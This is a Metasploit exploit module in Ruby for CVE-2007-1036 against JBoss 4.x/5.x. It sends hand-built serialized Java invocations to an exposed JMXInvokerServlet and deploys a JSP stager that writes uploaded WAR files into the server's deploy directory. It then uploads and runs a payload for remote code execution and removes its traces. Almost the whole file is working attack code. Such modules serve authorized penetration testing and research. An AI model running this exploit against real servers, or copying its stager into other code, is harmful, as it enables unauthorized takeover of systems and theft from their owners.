##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ /JBoss/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
        'Description' => %q{
          This module can be used to execute a payload on JBoss servers that have an
          exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
          the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
          to finally upload the selected payload to the target. The DeploymentFileRepository
          methods are only available on Jboss 4.x and 5.x.
        },
        'Author' => [
          'Patrick Hof', # Vulnerability discovery, analysis and PoC
          'Jens Liebchen', # Vulnerability discovery, analysis and PoC
          'h0ng10' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-1036' ],
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
        ],
        'DisclosureDate' => '2007-02-20',
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [

          # do target detection but java meter by default
          [
            'Automatic',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA
            },
          ],

          #
          # Platform specific targets
          #
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],

          [
            'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],

        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
        OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
      ]
    )
  end

  def check
    res = send_serialized_request('version')
    if res.nil?
      vprint_error('Connection timed out')
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    elsif res.code != 200
      vprint_error("Unable to request version, returned http code is: #{res.code}")
      return Exploit::CheckCode::Unknown("Unexpected HTTP status code: #{res.code}")
    end

    # Check if the version is supported by this exploit
    return Exploit::CheckCode::Appears('The target appears to be a vulnerable version') if res.body =~ /CVSTag=Branch_4_/
    return Exploit::CheckCode::Appears('The target appears to be a vulnerable version') if res.body =~ /SVNTag=JBoss_4_/
    return Exploit::CheckCode::Appears('The target appears to be a vulnerable version') if res.body =~ /SVNTag=JBoss_5_/

    if res.body =~ /ServletException/ # Simple check, if we caused an exception.
      vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit')
      return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
    end

    return Exploit::CheckCode::Safe('The target version is not vulnerable')
  end

  def exploit
    mytarget = target

    if target.name =~ /Automatic/
      mytarget = auto_target
      fail_with(Failure::BadConfig, 'Unable to automatically select a target') unless mytarget
      print_status("Automatically selected target: \"#{mytarget.name}\"")
    else
      print_status("Using manually select target: \"#{mytarget.name}\"")
    end

    # We use a already serialized stager to deploy the final payload
    regex_stager_app_base = rand_text_alpha(14)
    regex_stager_jsp_name = rand_text_alpha(14)
    name_parameter = rand_text_alpha(8)
    content_parameter = rand_text_alpha(8)
    stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"

    replace_values = {
      'regex_app_base' => regex_stager_app_base,
      'regex_jsp_name' => regex_stager_jsp_name,
      'jsp_code' => generate_stager(name_parameter, content_parameter)
    }

    print_status('Deploying stager')
    send_serialized_request('installstager', replace_values)
    print_status("Calling stager: #{stager_uri}")
    call_uri_mtimes(stager_uri, 5, 'GET')

    # Generate the WAR with the payload which will be uploaded through the stager
    app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15))
    jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15))

    war_data = payload.encoded_war({
      app_name: app_base,
      jsp_name: jsp_name,
      arch: mytarget.arch,
      platform: mytarget.platform
    }).to_s

    b64_war = Rex::Text.encode_base64(war_data)
    print_status('Uploading payload through stager')
    send_request_cgi({
      'uri' => stager_uri,
      'method' => 'POST',
      'vars_post' =>
      {
        name_parameter => app_base,
        content_parameter => b64_war
      }
    })

    payload_uri = "/#{app_base}/#{jsp_name}.jsp"
    print_status('Calling payload: ' + payload_uri)
    call_uri_mtimes(payload_uri, 5, 'GET')

    # Remove the payload through  stager
    print_status('Removing payload through stager')
    delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
    send_request_cgi({ 'uri' => delete_payload_uri })

    # Remove the stager
    print_status('Removing stager')
    send_serialized_request('removestagerfile', replace_values)
    send_serialized_request('removestagerdirectory', replace_values)

    handler
  end

  def generate_stager(name_param, content_param)
    war_file = rand_text_alpha(rand(4..7))
    file_content = rand_text_alpha(rand(4..7))
    jboss_home = rand_text_alpha(rand(4..7))
    decoded_content = rand_text_alpha(rand(4..7))
    path = rand_text_alpha(rand(4..7))
    fos = rand_text_alpha(rand(4..7))
    name = rand_text_alpha(rand(4..7))
    file = rand_text_alpha(rand(4..7))

    <<~EOT
      <%@page import="java.io.*,
          java.util.*,
          sun.misc.BASE64Decoder"
      %>
      <%
      String #{file_content} = "";
      String #{war_file} = "";
      String #{jboss_home} = System.getProperty("jboss.server.home.dir");
      if (request.getParameter("#{content_param}") != null){
      try {
      #{file_content} = request.getParameter("#{content_param}");
      #{war_file} = request.getParameter("#{name_param}");
      byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});
      String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";
      FileOutputStream #{fos} = new FileOutputStream(#{path});
      #{fos}.write(#{decoded_content});
      #{fos}.close();
      }
      catch(Exception e) {}
      }
      else {
      try{
      String #{name} = request.getParameter("#{name_param}");
      String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";
      new File(#{file}).delete();
      }
      catch(Exception e) {}
      }

      %>
    EOT
  end

  def send_serialized_request(operation, replace_params = {})
    data = ''
    case operation
    when 'version'
      data = build_get_version.encode
    when 'osname'
      data = build_get_os.encode
    when 'osarch'
      data = build_get_arch.encode
    when 'installstager'
      data = build_install_stager(
        war_name: replace_params['regex_app_base'],
        jsp_name: replace_params['regex_jsp_name'],
        data: replace_params['jsp_code']
      ).encode
    when 'removestagerfile'
      data = build_delete_stager_file(
        dir: "#{replace_params['regex_app_base']}.war",
        file: replace_params['regex_jsp_name'],
        extension: '.jsp'
      ).encode
    when 'removestagerdirectory'
      data = build_delete_stager_file(
        dir: './',
        file: replace_params['regex_app_base'],
        extension: '.war'
      ).encode
    else
      fail_with(Failure::Unknown, "#{peer} - Unexpected operation")
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'data' => data,
      'headers' =>
        {
          'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
          'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
        }
    }, 25)

    unless res && res.code == 200
      print_error("Failed: Error requesting preserialized request #{operation}")
      return nil
    end

    res
  end

  def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 5 seconds inbetween tries
    num_attempts.times do |attempt|
      if verb == 'POST'
        res = send_request_cgi(
          {
            'uri' => uri,
            'method' => verb,
            'data' => data
          }, 5
        )
      else
        uri += "?#{data}" unless data.nil?
        res = send_request_cgi(
          {
            'uri' => uri,
            'method' => verb
          }, 30
        )
      end

      msg = nil
      if res.nil?
        msg = "Execution failed on #{uri} [No Response]"
      elsif res.code < 200 || res.code >= 300
        msg = "http request failed to #{uri} [#{res.code}]"
      elsif res.code == 200
        vprint_good("Successfully called '#{uri}'")
        return res
      end

      if attempt < num_attempts - 1
        msg << ', retrying in 5 seconds...'
        vprint_status(msg)
        select(nil, nil, nil, 5)
      else
        print_error(msg)
        return res
      end
    end
  end

  def auto_target
    print_status('Attempting to automatically select a target')

    plat = detect_platform
    arch = detect_architecture

    return nil unless arch && plat

    # see if we have a match
    targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }

    # no matching target found
    return nil
  end

  # Try to autodetect the target platform
  def detect_platform
    print_status('Attempting to automatically detect the platform')
    res = send_serialized_request('osname')

    if res.body =~ /(Linux|FreeBSD|Windows)/i
      os = ::Regexp.last_match(1)
      if os =~ /Linux/i
        return 'linux'
      elsif os =~ /FreeBSD/i
        return 'linux'
      elsif os =~ /Windows/i
        return 'win'
      end
    end
    nil
  end

  # Try to autodetect the architecture
  def detect_architecture
    print_status('Attempting to automatically detect the architecture')
    res = send_serialized_request('osarch')
    if res.body =~ /(i386|x86)/i
      arch = ::Regexp.last_match(1)
      if arch =~ /i386|x86/i
        return ARCH_X86
        # TODO, more
      end
    end
    nil
  end

  def build_get_version
    builder = Rex::Java::Serialization::Builder.new

    object_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        builder.new_object(
          name: 'javax.management.ObjectName',
          serial: 0xf03a71beb6d15cf,
          flags: 3,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
        ),
        Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server')
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object_array
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version')

    build_invocation(stream)
  end

  def build_get_os
    builder = Rex::Java::Serialization::Builder.new

    object_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        builder.new_object(
          name: 'javax.management.ObjectName',
          serial: 0xf03a71beb6d15cf,
          flags: 3,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
        ),
        Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object_array
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName')

    build_invocation(stream)
  end

  def build_get_arch
    builder = Rex::Java::Serialization::Builder.new

    object_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        builder.new_object(
          name: 'javax.management.ObjectName',
          serial: 0xf03a71beb6d15cf,
          flags: 3,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
        ),
        Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object_array
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch')

    build_invocation(stream)
  end

  def build_install_stager(opts = {})
    war_name = "#{opts[:war_name]}.war"
    jsp_name = opts[:jsp_name] || ''
    extension = opts[:extension] || '.jsp'
    data = opts[:data] || ''

    builder = Rex::Java::Serialization::Builder.new

    object_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        builder.new_object(
          name: 'javax.management.ObjectName',
          serial: 0xf03a71beb6d15cf,
          flags: 3,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
        ),
        Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
        Rex::Java::Serialization::Model::EndBlockData.new,
        Rex::Java::Serialization::Model::Utf.new(nil, 'store')
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    values_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        Rex::Java::Serialization::Model::Utf.new(nil, war_name),
        Rex::Java::Serialization::Model::Utf.new(nil, jsp_name),
        Rex::Java::Serialization::Model::Utf.new(nil, extension),
        Rex::Java::Serialization::Model::Utf.new(nil, data),
        builder.new_object(
          name: 'java.lang.Boolean',
          serial: 0xcd207280d59cfaee,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
          fields: [['boolean', 'value']],
          data: [['boolean', 0]]
        )
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    types_array = builder.new_array(
      values_type: 'java.lang.String;',
      values: [
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
        Rex::Java::Serialization::Model::Utf.new(nil, 'boolean')
      ],
      name: '[Ljava.lang.String;',
      serial: 0xadd256e7e91d7b47,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object_array
    stream.contents << values_array
    stream.contents << types_array

    build_invocation_deploy(stream)
  end

  def build_delete_stager_file(opts = {})
    dir = opts[:dir] || ''
    file = opts[:file] || ''
    extension = opts[:extension] || '.jsp'

    builder = Rex::Java::Serialization::Builder.new

    object_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        builder.new_object(
          name: 'javax.management.ObjectName',
          serial: 0xf03a71beb6d15cf,
          flags: 3,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
        ),
        Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
        Rex::Java::Serialization::Model::EndBlockData.new,
        Rex::Java::Serialization::Model::Utf.new(nil, 'remove')
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    values_array = builder.new_array(
      values_type: 'java.lang.Object;',
      values: [
        Rex::Java::Serialization::Model::Utf.new(nil, dir),
        Rex::Java::Serialization::Model::Utf.new(nil, file),
        Rex::Java::Serialization::Model::Utf.new(nil, extension)
      ],
      name: '[Ljava.lang.Object;',
      serial: 0x90ce589f1073296c,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    types_array = builder.new_array(
      values_type: 'java.lang.String;',
      values: [
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
        Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String')
      ],
      name: '[Ljava.lang.String;',
      serial: 0xadd256e7e91d7b47,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object_array
    stream.contents << values_array
    stream.contents << types_array

    build_invocation_deploy(stream)
  end

  def build_invocation(stream_argument)
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []

    null_stream = build_null_stream
    null_stream_enc = null_stream.encode
    null_stream_value = [null_stream_enc.length].pack('N')
    null_stream_value << null_stream_enc
    null_stream_value << "\xfb\x57\xa7\xaa"

    stream_argument_enc = stream_argument.encode
    stream_argument_value = [stream_argument_enc.length].pack('N')
    stream_argument_value << stream_argument_enc
    stream_argument_value << "\x7b\x87\xa0\xfb"

    stream.contents << build_marshalled_invocation
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf")
    stream.contents << build_integer(647347722)
    stream.contents << build_marshalled_value
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value)
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
    stream.contents << build_invocation_key(5)
    stream.contents << build_marshalled_value
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02")
    stream.contents << build_invocation_key(4)
    stream.contents << build_invocation_type(1)
    stream.contents << build_invocation_key(10)
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new

    stream
  end

  def build_invocation_deploy(stream_argument)
    builder = Rex::Java::Serialization::Builder.new
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []

    null_stream = build_null_stream
    null_stream_enc = null_stream.encode
    null_stream_value = [null_stream_enc.length].pack('N')
    null_stream_value << null_stream_enc
    null_stream_value << "\xfb\x57\xa7\xaa"

    stream_argument_enc = stream_argument.encode
    stream_argument_value = [stream_argument_enc.length].pack('N')
    stream_argument_value << stream_argument_enc
    stream_argument_value << "\x7b\x87\xa0\xfb"

    stream.contents << build_marshalled_invocation
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87")
    stream.contents << build_integer(647347722)
    stream.contents << build_marshalled_value
    stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value)
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
    stream.contents << build_invocation_key(5)
    stream.contents << build_marshalled_value
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03")
    stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME')
    stream.contents << builder.new_object(
      name: 'javax.management.ObjectName',
      serial: 0xf03a71beb6d15cf,
      flags: 3,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )
    stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository')
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << build_invocation_key(4)
    stream.contents << build_invocation_type(1)
    stream.contents << build_invocation_key(10)
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new

    stream
  end

  def build_marshalled_invocation
    builder = Rex::Java::Serialization::Builder.new
    builder.new_object(
      name: 'org.jboss.invocation.MarshalledInvocation',
      serial: 0xf6069527413ea4be,
      flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )
  end

  def build_marshalled_value
    builder = Rex::Java::Serialization::Builder.new
    builder.new_object(
      name: 'org.jboss.invocation.MarshalledValue',
      serial: 0xeacce0d1f44ad099,
      flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )
  end

  def build_invocation_key(ordinal)
    builder = Rex::Java::Serialization::Builder.new
    builder.new_object(
      name: 'org.jboss.invocation.InvocationKey',
      serial: 0xb8fb7284d79385f9,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
      fields: [
        ['int', 'ordinal']
      ],
      data: [
        ['int', ordinal]
      ]
    )
  end

  def build_invocation_type(ordinal)
    builder = Rex::Java::Serialization::Builder.new
    builder.new_object(
      name: 'org.jboss.invocation.InvocationType',
      serial: 0x59a73a1ca52b7cbf,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
      fields: [
        ['int', 'ordinal']
      ],
      data: [
        ['int', ordinal]
      ]
    )
  end

  def build_integer(value)
    builder = Rex::Java::Serialization::Builder.new
    builder.new_object(
      name: 'java.lang.Integer',
      serial: 0x12e2a0a4f7818738,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
      super_class: builder.new_class(
        name: 'java.lang.Number',
        serial: 0x86ac951d0b94e08b,
        annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
      ),
      fields: [
        ['int', 'value']
      ],
      data: [
        ['int', value]
      ]
    )
  end

  def build_null_stream
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = [Rex::Java::Serialization::Model::NullReference.new]

    stream
  end
end
